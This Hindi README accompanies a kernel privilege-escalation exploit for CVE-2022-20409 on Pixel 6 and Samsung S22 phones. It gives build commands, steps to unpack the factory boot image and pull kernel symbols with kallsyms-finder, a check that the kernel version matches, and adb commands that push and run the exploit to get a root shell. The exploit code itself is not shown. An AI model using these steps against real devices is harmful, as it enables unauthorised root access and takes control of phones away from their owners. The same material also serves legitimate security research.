
एंड्रॉइड कर्नेल शोषण CVE-2022-20409 के लिए
सुनिश्चित करें कि Android NDK स्थापित है। pixel 6 के लिए,
make pixel
samsung s22 के लिए,
make s22
एक्सप्लॉइट विभिन्न कर्नेल संस्करणों का समर्थन करने के लिए लिखा गया है। एक्सप्लॉइट को किसी भिन्न कर्नेल पर पोर्ट करने के लिए, आपको लक्ष्य कर्नेल का सिम्बल फ़ाइल निकालना होगा।
कर्नेल को फोन की फैक्ट्री इमेज से निकाला जा सकता है। Pixels के लिए, फैक्ट्री इमेज यहाँ से डाउनलोड करें।
इमेज डाउनलोड करने के बाद, boot.img फ़ाइल प्राप्त करने के लिए इमेज को निकालें। boot.img को tools/unpack_bootimg.py से निकाला जा सकता है।
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
आपको कर्नेल out/kernel पर दिखाई देगा।
अब, कर्नेल इमेज के साथ, हम vmlinux-to-elf का उपयोग करके इससे कर्नेल सिम्बल निकाल सकते हैं।
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
आपको यह सुनिश्चित करना होगा कि सिम्बल में निकाला गया Version string आपके फोन के कर्नेल संस्करण से मेल खाता हो। फोन के कर्नेल संस्करण को adb के माध्यम से देखा जा सकता है। उदाहरण के लिए,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
मेल खाता है
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
अब आप एक्सप्लॉइट और सिम्बल फ़ाइल को फोन पर पुश कर सकते हैं और निम्नलिखित कमांड के साथ इसे रूट कर सकते हैं।
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
अपने रूट शेल का आनंद लें :)